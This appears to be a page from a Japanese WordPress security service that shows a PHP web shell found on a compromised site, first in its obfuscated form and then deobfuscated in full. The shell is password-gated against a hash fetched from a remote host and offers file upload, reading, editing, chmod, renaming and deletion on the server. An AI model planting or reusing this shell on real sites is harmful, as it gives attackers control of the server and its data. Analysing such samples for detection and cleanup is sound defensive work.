"\x3c\x66\157\162\x6d\40\155\x65\164\150\157\x64\x3d\42\x50\x4f\x53\124\42\x3e\15\12\74\x74\x65\170\164\141\x72\145\x61\x20\x63\x6f\154\x73\x3d\x38\60\x20\x72\157\x77\x73\x3d\62\x30\x20\x6e\141\155\145\x3d\42\x73\162\x63\42\x3e" . htmlspecialchars(file_get_contents($_GET["\160\x61\x74\x68"] . "\57" . $_GET["\x6e\141\x6d\145"])) . "\74\57\x74\x65\x78\164\141\x72\x65\141\x3e\x3c\142\162\40\57\76\15\xa\74\151\x6e\x70\165\164\x20\x74\171\x70\145\75\x22\150\151\x64\x64\x65\x6e\x22\x20\156\x61\x6d\145\75\x22\x70\141\x74\x68\x22\40\x76\141\154\165\x65\x3d\x22" . $_GET["\160\141\x74\x68"] . "\57" . $_GET["\x6e\x61\x6d\x65"] . "\x22\76\15\12\x3c\x69\x6e\160\x75\164\40\x74\171\160\x65\75\x22\x68\x69\144\x64\145\156\42\x20\156\x61\155\145\x3d\42\x6f\160\x74\42\40\x76\141\154\165\x65\x3d\42\x65\144\x69\164\x22\76\15\xa\x3c\151\156\x70\x75\x74\40\164\x79\x70\x65\75\42\x73\165\x62\155\x69\x74\42\40\x76\141\x6c\x75\x65\75\x22\x47\157\42\x20\x2f\76\15\xa\74\57\x66\157\162\x6d\x3e"; goto YC_IB; wAS2Y: vJhoC: goto eReAi; ALVkD: if (!isset($_SESSION["\147\x5f\153\x6b"])) { goto AV7js; } goto nqyjQ; DuQxv: echo "\x3c\x66\x6f\x6e\164\40\x63\157\x6c\157\162\x3d\x22\162\145\144\x22\x3e\x43\150\141\x6e\147\x65\x20\116\141\x6d\x65\x20\x45\x72\x72\157\162\x2e\x3c\57\x66\x6f\156\164\x3e\x3c\x62\x72\40\57\x3e"; goto CqRsa; tKLSY: if (isset($_GET["\146\x69\x6c\x65\x73\162\143"])) { goto u85l8; } goto TvHGL; C4nYW: goto NHozz; goto wh_8j; hN4WN: echo "\74\146\157\162\x6d\40\155\145\x74\x68\157\x64\75\42\120\117\123\124\42\76\xd\xa\x50\x65\x72\x6d\x69\x73\163\151\x6f\x6e\40\x3a\40\74\151\156\x70\x75\164\x20\x6e\141\155\145\x3d\42\x70\x65\162\x6d\x22\x20\x74\x79\160\x65\75\x22\x74\x65\x78\x74\42\40\x73\151\172\145\75\x22\64\x22\40\166\x61\154\165\x65\75\x22" . substr(sprintf("\x25\157", fileperms($_GET["\160\141\x74\150"] . "\57" . $_GET["\156\141\155\145"])), -4) . "\42\x20\x2f\x3e\15\xa\74\x69\156\160\x75\164\40\x74\x79\160\145\75\42\150\151\144\144\x65\156\42\x20\x6e\141\x6d\x65\75\x22\160\141\164\150\x22\40\166\141\154\x75\x65\75\x22" . $_GET["\x70\x61\164\x68"] . "\57" . $_GET["\156\x61\155\x65"] . "\x22\76\15\xa\x3c\x69\x6e\160\165\164\40\164\x79\160\x65\x3d\x22\x68\x69\144\144\x65\156\42\40\156\x61\x6d\x65\75\42\157\x70\x74\42\40\x76\x61\154\x75\x65\75\42\x63\150\x6d\157\144\x22\x3e\xd\12\74\151\x6e\160\x75\x74\40\x74\171\160\x65\x3d\42\163\165\x62\x6d\151\x74\x22\x20\166\141\154\x75\145\x3d\42\x47\x6f\x22\40\x2f\x3e\15\12\74\57\x66\157\x72\x6d\x3e"; goto urC2S; Qdphm: UI8Ak: goto hjHYq; XhsxZ: goto BLQTA; goto npvxR; kjV1i: echo "\74\x62\x72\40\x2f\x3e\xd\xa\74\x2f\x42\x4f\x44\131\x3e\15\12\x3c\x2f\110\x54\115\114\76"; goto QheLs; jtflJ: goto d6fPA; goto MC4G2; qvAv6: if (rmdir($_GET["\x70\x61\164\150"] . "\57" . $_GET["\x6e\141\x6d\x65"])) { goto RmM83; } goto fkMAs; FDR61: if ($_GET["\x6f\x70\x74"] == "\x63\x68\155\157\144" || $_POST["\157\x70\164"] == "\x63\150\x6d\x6f\x64") { goto rjkX_; } goto HiT8g; Qrw42: goto xdWJo; goto KtIUc; vVO9E: IkQiu: goto i2MHz; N321g: H4Aa3: goto B0v4C; mOIqd: axCE7: goto gNov1; EDW9i: foreach ($_POST["\x66"] as $BEctz) { goto xLy5D; tNQlz: echo "\x3c\x66\157\x6e\164\x20\x63\x6f\154\x6f\x72\x3d\x22\147\162\x65\145\156\x22\76" . $plIrx . "\x44\145\154\x65\x74\145\40\106\151\x6c\x65\x20\104\157\x6e\145\56\74\57\x66\157\x6e\x74\x3e\x3c\x62\x72\x20\57\76"; goto nRvRl; g6ySx: if ($ITwbV == "\x64\151\x72") { goto Wm8gV; } goto O0u5x; kTVYe: echo "\74\x66\157\x6e\x74\x20\x63\x6f\x6c\x6f\162\75\42\x72\145\x64\42\x3e" . $plIrx . "\104\145\154\x65\164\145\x20\x46\x69\154\145\x20\x45\x72\162\x6f\162\56\74\57\x66\157\x6e\x74\x3e\74\142\162\40\x2f\76"; goto ki0MA; Wh0M_: $ITwbV = substr($BEctz, 0, strrpos($BEctz, "\137")); goto g6ySx; goSLX: goto qhwOi; goto Gfh8Z; MGj9f: oG7Pv: goto MyMa7; Vzi1C: if (rmdir($_GET["\x70\x61\164\150"] . "\x2f" . $plIrx)) { goto oG7Pv; } goto VIZw5; YaSCx: ArJF5: goto xFfpR; O0u5x: if ($ITwbV == "\146\151\154\x65") { goto UvQSl; } goto goSLX; MyMa7: echo "\x3c\146\x6f\x6e\x74\40\143\157\154\157\162\75\42\x67\x72\145\145\156\42\x3e" . $plIrx . "\x44\145\154\x65\x74\x65\x20\x44\x69\x72\x20\104\x6f\156\x65\56\74\57\x66\157\x6e\x74\x3e\x3c\x62\x72\x20\x2f\x3e"; goto YaSCx; xLy5D: $plIrx = substr($BEctz, strripos($BEctz, "\x5f") + 1); goto Wh0M_; t0YpR: UvQSl: goto t_YuD; ki0MA: goto XY8Zs; goto IacOh; jKu_N: FA99b: goto DpGMC; A9r5t: goto ArJF5; goto MGj9f; VIZw5: echo "\74\146\x6f\x6e\x74\40\143\157\154\x6f\x72\x3d\42\162\x65\144\42\76" . $plIrx . "\104\x65\x6c\145\x74\145\x20\104\151\162\x20\105\162\x72\x6f\x72\x2e\x3c\x2f\146\157\x6e\164\76\x3c\x62\162\40\57\x3e"; goto A9r5t; Pcvxx: qhwOi: goto jKu_N; IacOh: HojHJ: goto tNQlz; Gfh8Z: Wm8gV: goto Vzi1C; t_YuD: if (unlink($_GET["\x70\141\164\x68"] . "\57" . $plIrx)) { goto HojHJ; } goto kTVYe; nRvRl: XY8Zs: goto Pcvxx; xFfpR: goto qhwOi; goto t0YpR; DpGMC: } goto ZEod_; pEq7h: if ($_GET["\157\x70\164"] == "\x65\144\151\x74") { goto BVRNs; } goto GtetQ; gNov1: Ab2gP: goto Ic3xc; QheLs: function w9iCf($NxsYq) { goto YyonM; tP6hb: goto wqsQo; goto rFLQq; pMfF4: $k70eS = "\x6c"; goto qOCuG; ktN8o: if (($jZLRb & 0x2000) == 0x2000) { goto UNXg6; } goto CDTmd; Wn2c1: $k70eS .= $jZLRb & 0x1 ? $jZLRb & 0x200 ? "\164" : "\170" : ($jZLRb & 0x200 ? "\x54" : "\55"); goto moJdY; mL9RC: $k70eS = "\x70"; goto fXi3P; uoJbM: $k70eS = "\144"; goto KYvtC; qOCuG: goto wqsQo; goto FAtP9; vKDUL: if (($jZLRb & 0x4000) == 0x4000) { goto zw4TY; } goto ktN8o; mmXN3: $k70eS .= $jZLRb & 0x40 ? $jZLRb & 0x800 ? "\x73" : "\x78" : ($jZLRb & 0x800 ? "\x53" : "\x2d"); goto sXRE2; Vzp3M: Rac9e: goto qaxUw; LK3bD: $k70eS = "\x73"; goto NMF8c; FAtP9: u63oN: goto uG3pW; YyonM: $jZLRb = fileperms($NxsYq); goto TTPSg; TTPSg: if (($jZLRb & 0xc000) == 0xc000) { goto vJEJH; } goto C96cl; CDTmd: if (($jZLRb & 0x1000) == 0x1000) { goto Ye3Y5; } goto u01rN; P96Gq: vJEJH: goto LK3bD; sXRE2: $k70eS .= $jZLRb & 0x20 ? "\162" : "\x2d"; goto ekwdK; KYvtC: goto wqsQo; goto APTso; APTso: UNXg6: goto M5p7F; qaxUw: $k70eS = "\142"; goto hWkSe; NMF8c: goto wqsQo; goto b3uUN; yzd6x: $k70eS .= $jZLRb & 0x8 ? $jZLRb & 0x400 ? "\x73" : "\x78" : ($jZLRb & 0x400 ? "\123" : "\x2d"); goto MKTuG; vOU5G: $k70eS .= $jZLRb & 0x80 ? "\x77" : "\x2d"; goto mmXN3; gUarU: if (($jZLRb & 0x8000) == 0x8000) { goto u63oN; } goto JkjGu; u01rN: $k70eS = "\165"; goto ajGXw; b3uUN: E3Nfa: goto pMfF4; moJdY: return $k70eS; goto sRbFY; BdGUg: goto wqsQo; goto Vzp3M; S1YvZ: $k70eS .= $jZLRb & 0x100 ? "\x72" : "\x2d"; goto vOU5G; M5p7F: $k70eS = "\x63"; goto tP6hb; rFLQq: Ye3Y5: goto mL9RC; wyV32: $k70eS .= $jZLRb & 0x2 ? "\x77" : "\x2d"; goto Wn2c1; ajGXw: goto wqsQo; goto P96Gq; JkjGu: if (($jZLRb & 0x6000) == 0x6000) { goto Rac9e; } goto vKDUL; fXi3P: wqsQo: goto S1YvZ; VpR0q: zw4TY: goto uoJbM; MKTuG: $k70eS .= $jZLRb & 0x4 ? "\162" : "\55"; goto wyV32; hWkSe: goto wqsQo; goto VpR0q; ekwdK: $k70eS .= $jZLRb & 0x10 ? "\x77" : "\55"; goto yzd6x; C96cl: if (($jZLRb & 0xa000) == 0xa000) { goto E3Nfa; } goto gUarU; uG3pW: $k70eS = "\55"; goto BdGUg; sRbFY: }?>

デコード(難読化解除)されたコード

<?php

session_start();
function z9G3P($dfjqW)
{
    $jyXLz = '';
    $NIYeF = "Mozilla/4.0 (compatible;MSIE 6.0;Windows NT 5.2;.NET CLR 1.1.4322)";
    if (!function_exists("curl_init")) {
        goto ddOBi;
    }
    try {
        $qAi5T = curl_init();
        $BlCxk = 30;
        curl_setopt($qAi5T, CURLOPT_URL, $dfjqW);
        curl_setopt($qAi5T, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($qAi5T, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($qAi5T, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($qAi5T, CURLOPT_CONNECTTIMEOUT, $BlCxk);
        $jyXLz = curl_exec($qAi5T);
        curl_close($qAi5T);
    } catch (Exception $FCaVj) {
    }
    ddOBi:
    if (!(strlen($jyXLz) < 1 && function_exists("file_get_contents"))) {
        goto JgaOz;
    }
    ini_set("user_agent", $NIYeF);
    try {
        $jyXLz = @file_get_contents($dfjqW);
    } catch (Exception $FCaVj) {
    }
    JgaOz:
    return $jyXLz;
}
$yzszt = '';
if (!isset($_SESSION["g_kk"])) {
    goto AV7js;
}
$yzszt = $_SESSION["g_kk"];
AV7js:
if (!isset($_POST["g_kk"])) {
    goto G3pao;
}
$yzszt = md5($_POST["g_kk"]);
G3pao:
if ($yzszt != trim(z9g3P("http://www168.gocarolina.asia/dkasiqjas5468.txt"))) {
    exit("<form   method= \"post\" action= \"\"> <input type=\"input\" name =\"g_kk\" value= \"\"/><input type= \"submit\" value= \"&gt;\"/></form>");
}
$_SESSION["g_kk"] = $yzszt;
echo "<!DOCTYPE HTML>\r\n<HTML>\r\n<HEAD>\r\n<link href=\"\" rel=\"stylesheet\" type=\"text/css\">\r\n<title>KKK</title>\r\n</HEAD>\r\n<body>\r\n<H1><center></center></H1>\r\n<table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr><td>Current Path : ";
if (isset($_GET["path"])) {
    $Hu2QY = $_GET["path"];
    goto lpxL3;
}
$Hu2QY = getcwd();
lpxL3:
$Hu2QY = str_replace("\\", "/", $Hu2QY);
$BuCsl = explode("/", $Hu2QY);
foreach ($BuCsl as $SXYNP => $Rt_0h) {
    if (!($Rt_0h == '' && $SXYNP == 0)) {
        if (!($Rt_0h == '')) {
            echo "<a href=\"?path=";
            $bBQSy = 0;
            LITfM:
            if (!($bBQSy <= $SXYNP)) {
                echo "\">" . $Rt_0h . "</a>/";
                goto J14Bp;
            }
            echo "{$BuCsl[$bBQSy]}";
            if (!($bBQSy != $SXYNP)) {
                goto UUwZF;
            }
            echo "/";
            UUwZF:
            $bBQSy++;
            goto LITfM;
        }
        goto Oh20a;
    }
    $J0ISI = true;
    echo "<a href=\"?path=/\">/</a>";
    J14Bp:
    Oh20a:
}
echo "</td></tr><tr><td>";
if (!isset($_FILES["file"])) {
    goto n7rAn;
}
if (copy($_FILES["file"]["tmp_name"], $Hu2QY . "/" . $_FILES["file"]["name"])) {
    echo "<font color=\"green\">File Upload Done.</font><br />";
    goto jESMF;
}
echo "<font color=\"red\">File Upload Error.</font><br />";
jESMF:
n7rAn:
echo "<form enctype=\"multipart/form-data\" method=\"POST\">\r\nUpload File : <input type=\"file\" name=\"file\" />\r\n<input type=\"submit\" value=\"upload\" />\r\n</form>\r\n</td></tr>";
if (isset($_GET["filesrc"])) {
    echo "<tr><td>Current File : ";
    echo $_GET["filesrc"];
    echo "</tr></td></table><br />";
    echo "<pre>" . htmlspecialchars(file_get_contents($_GET["filesrc"])) . "</pre>";
    goto BLQTA;
}
if (isset($_GET["option"]) && $_GET["opt"] != "delete") {
    echo "</table><br /><center>" . $_GET["path"] . "/" . $_GET["name"] . "<br /><br />";
    if ($_GET["opt"] == "chmod" || $_POST["opt"] == "chmod") {
        if (!isset($_POST["perm"])) {
            goto Rtq0G;
        }
        if (chmod($_POST["path"], $_POST["perm"])) {
            echo "<font color=\"green\">Change Permission Done.</font><br />";
            goto KxMpD;
        }
        echo "<font color=\"red\">Change Permission Error.</font><br />";
        KxMpD:
        Rtq0G:
        echo "<form method=\"POST\">\r\nPermission : <input name=\"perm\" type=\"text\" size=\"4\" value=\"" . substr(sprintf("%o", fileperms($_GET["path"] . "/" . $_GET["name"])), 4) . "\" />\r\n<input type=\"hidden\" name=\"path\" value=\"" . $_GET["path"] . "/" . $_GET["name"] . "\">\r\n<input type=\"hidden\" name=\"opt\" value=\"chmod\">\r\n<input type=\"submit\" value=\"Go\" />\r\n</form>";
        goto NHozz;
    }
    if ($_GET["opt"] == "rename" || $_POST["opt"] == "rename") {
        if (!isset($_POST["newname"])) {
            goto CAwBt;
        }
        if (rename($_POST["path"], $Hu2QY . "/" . $_POST["newname"])) {
            echo "<font color=\"green\">Change Name Done.</font><br />";
            goto mS4mK;
        }
        echo "<font color=\"red\">Change Name Error.</font><br />";
        mS4mK:
        $_GET["name"] = $_POST["newname"];
        CAwBt:
        echo "<form method=\"POST\">\r\nNew Name : <input name=\"newname\" type=\"text\" size=\"20\" value=\"" . $_GET["name"] . "\" />\r\n<input type=\"hidden\" name=\"path\" value=\"" . $_GET["path"] . "/" . $_GET["name"] . "\">\r\n<input type=\"hidden\" name=\"opt\" value=\"rename\">\r\n<input type=\"submit\" value=\"Go\" />\r\n</form>";
        goto NHozz;
    }
    if ($_GET["opt"] == "edit") {
        if (!isset($_POST["src"])) {
            goto h6b2z;
        }
        $sM0gb = fopen($_GET["path"] . "/" . $_GET["name"], "w");
        if (fwrite($sM0gb, $_POST["src"])) {
            echo "<font color=\"green\">Edit File Done.</font><br />";
            goto aT9h0;
        }
        echo "<font color=\"red\">Edit File Error.</font><br />";
        aT9h0:
        fclose($sM0gb);
        h6b2z:
        echo "<form method=\"POST\">\r\n<textarea cols=80 rows=20 name=\"src\">" . htmlspecialchars(file_get_contents($_GET["path"] . "/" . $_GET["name"])) . "</textarea><br />\r\n<input type=\"hidden\" name=\"path\" value=\"" . $_GET["path"] . "/" . $_GET["name"] . "\">\r\n<input type=\"hidden\" name=\"opt\" value=\"edit\">\r\n<input type=\"submit\" value=\"Go\" />\r\n</form>";
        goto YC_IB;
    }
    YC_IB:
    NHozz:
    echo "</center>";
    goto CKtWw;
}
echo "</table><br /><center>";
if (!(isset($_GET["option"]) && $_GET["opt"] == "delete" && file_exists($_GET["path"] . "/" . $_GET["name"]))) {
    goto PjgLC;
}
if ($_GET["type"] == "dir") {
    if (rmdir($_GET["path"] . "/" . $_GET["name"])) {
        echo "<font color=\"green\">Delete Dir Done.</font><br />";
        goto QMhbN;
    }
    echo "<font color=\"red\">Delete Dir Error.</font><br />";
    QMhbN:
    goto d6fPA;
}
if ($_GET["type"] == "file") {
    if (unlink($_GET["path"] . "/" . $_GET["name"])) {
        echo "<font color=\"green\">Delete File Done.</font><br />";
        goto dXvLi;
    }
    echo "<font color=\"red\">Delete File Error.</font><br />";
    dXvLi:
    goto ALruy;
}
ALruy:
d6fPA:
PjgLC:
if (!($_POST["opt"] == "delete" && isset($_POST["f"]))) {
    goto Ab2gP;
}
if (!isset($_POST["f"])) {
    goto axCE7;
}
foreach ($_POST["f"] as $BEctz) {
    $plIrx = substr($BEctz, strripos($BEctz, "_") + 1);
    $ITwbV = substr($BEctz, 0, strrpos($BEctz, "_"));
    if ($ITwbV == "dir") {
        if (rmdir($_GET["path"] . "/" . $plIrx)) {
            echo "<font color=\"green\">" . $plIrx . "Delete Dir Done.</font><br />";
            goto YaSCx;
        }
        echo "<font color=\"red\">" . $plIrx . "Delete Dir Error.</font><br />";
        YaSCx:
        goto qhwOi;
    }
    if ($ITwbV == "file") {
        if (unlink($_GET["path"] . "/" . $plIrx)) {
            echo "<font color=\"green\">" . $plIrx . "Delete File Done.</font><br />";
            goto nRvRl;
        }
        echo "<font color=\"red\">" . $plIrx . "Delete File Error.</font><br />";
        nRvRl:
        goto Pcvxx;
    }
    Pcvxx:
    qhwOi:
}
axCE7:
Ab2gP:
echo "</center>";
$KqXYo = scandir($Hu2QY);
echo "<div id=\"content\"><form method=\"POST\" action=\"?path=" . $Hu2QY . "\">\r\n\r\n<table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr class=\"first\"><td>\r\n<input type=\"hidden\" name=\"opt\" value=\"delete\">\r\n<input type=\"submit\" value=\"删除\" >Name</td>\r\n<td><center>Size</center></td>\r\n<td><center>Permissions</center></td>\r\n<td><center>Options</center></td>\r\n</tr>";
foreach ($KqXYo as $j__ps) {
    if (!(!is_dir("{$Hu2QY}/{$j__ps}") || $j__ps == "." || $j__ps == "..")) {
        echo "<tr>\r\n<td><input type=checkbox name='f[]' value='dir_{$j__ps}' class=chkbx><a href='?path={$Hu2QY}/{$j__ps}'>{$j__ps}</a></td>\r\n<td><center>--</center></td>\r\n<td><center>";
        if (is_writable("{$Hu2QY}/{$j__ps}")) {
            echo "<font color=\"green\">";
            goto Exdz7;
        }
        if (!is_readable("{$Hu2QY}/{$j__ps}")) {
            echo "<font color=\"red\">";
            goto lwPNG;
        }
        lwPNG:
        Exdz7:
        echo w9icf("{$Hu2QY}/{$j__ps}");
        if (!(is_writable("{$Hu2QY}/{$j__ps}") || !is_readable("{$Hu2QY}/{$j__ps}"))) {
            goto ByS5E;
        }
        echo "</font>";
        ByS5E:
        echo "</center></td>\r\n<td><center>\r\n<a href='?option&opt=delete&path={$Hu2QY}&type=dir&name={$j__ps}'>Delete</a>\r\n<a href='?option&opt=chmod&path={$Hu2QY}&type=dir&name={$j__ps}'>Chmod</a>\r\n<a href='?option&opt=rename&path={$Hu2QY}&type=dir&name={$j__ps}'>Rename</a>\r\n\r\n\r\n</center></td>\r\n</tr>";
        goto KlyKD;
    }
    KlyKD:
}
echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
foreach ($KqXYo as $NxsYq) {
    if (is_file("{$Hu2QY}/{$NxsYq}")) {
        $ahKks = filesize("{$Hu2QY}/{$NxsYq}") / 1024;
        $ahKks = round($ahKks, 3);
        if ($ahKks >= 1024) {
            $ahKks = round($ahKks / 1024, 2) . " MB";
            goto U_6ap;
        }
        $ahKks .= " KB";
        U_6ap:
        echo "<tr>\r\n<td><input type=checkbox name='f[]' value='file_{$NxsYq}' class=chkbx><a href='?filesrc={$Hu2QY}/{$NxsYq}&path={$Hu2QY}'>{$NxsYq}</a></td>\r\n<td><center>" . $ahKks . "</center></td>\r\n<td><center>";
        if (is_writable("{$Hu2QY}/{$NxsYq}")) {
            echo "<font color=\"green\">";
            goto XeVUy;
        }
        if (!is_readable("{$Hu2QY}/{$NxsYq}")) {
            echo "<font color=\"red\">";
            goto hGKTI;
        }
        hGKTI:
        XeVUy:
        echo w9icf("{$Hu2QY}/{$NxsYq}");
        if (!(is_writable("{$Hu2QY}/{$NxsYq}") || !is_readable("{$Hu2QY}/{$NxsYq}"))) {
            goto Gvupr;
        }
        echo "</font>";
        Gvupr:
        echo "</center></td>\r\n<td><center>\r\n<a href='?option&opt=edit&path={$Hu2QY}&type=file&name={$NxsYq}'>edit</a>\r\n<a href='?option&opt=delete&path={$Hu2QY}&type=file&name={$NxsYq}'>Delete</a>\r\n<a href='?option&opt=chmod&path={$Hu2QY}&type=file&name={$NxsYq}'>Chmod</a>\r\n<a href='?option&opt=rename&path={$Hu2QY}&type=file&name={$NxsYq}'>Rename</a>\r\n<div>\r\n\r\n</center></td>\r\n</tr>";
        goto V5m8W;
    }
    V5m8W:
}
echo "</table></form>\r\n</div>";
CKtWw:
BLQTA:
echo "<br />\r\n</BODY>\r\n</HTML>";
function w9iCf($NxsYq)
{
    $jZLRb = fileperms($NxsYq);
    if (($jZLRb & 0xc000) == 0xc000) {
        $k70eS = "s";
        goto wqsQo;
    }
    if (($jZLRb & 0xa000) == 0xa000) {
        $k70eS = "l";
        goto wqsQo;
    }
    if (($jZLRb & 0x8000) == 0x8000) {
        $k70eS = "-";
        goto wqsQo;
    }
    if (($jZLRb & 0x6000) == 0x6000) {
        $k70eS = "b";
        goto wqsQo;
    }
    if (($jZLRb & 0x4000) == 0x4000) {
        $k70eS = "d";
        goto wqsQo;
    }
    if (($jZLRb & 0x2000) == 0x2000) {
        $k70eS = "c";
        goto wqsQo;
    }
    if (($jZLRb & 0x1000) == 0x1000) {
        $k70eS = "p";
        goto fXi3P;
    }
    $k70eS = "u";
    fXi3P:
    wqsQo:
    $k70eS .= $jZLRb & 0x100 ? "r" : "-";
    $k70eS .= $jZLRb & 0x80 ? "w" : "-";
    $k70eS .= $jZLRb & 0x40 ? $jZLRb & 0x800 ? "s" : "x" : ($jZLRb & 0x800 ? "S" : "-");
    $k70eS .= $jZLRb & 0x20 ? "r" : "-";
    $k70eS .= $jZLRb & 0x10 ? "w" : "-";
    $k70eS .= $jZLRb & 0x8 ? $jZLRb & 0x400 ? "s" : "x" : ($jZLRb & 0x400 ? "S" : "-");
    $k70eS .= $jZLRb & 0x4 ? "r" : "-";
    $k70eS .= $jZLRb & 0x2 ? "w" : "-";
    $k70eS .= $jZLRb & 0x1 ? $jZLRb & 0x200 ? "t" : "x" : ($jZLRb & 0x200 ? "T" : "-");
    return $k70eS;
}


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.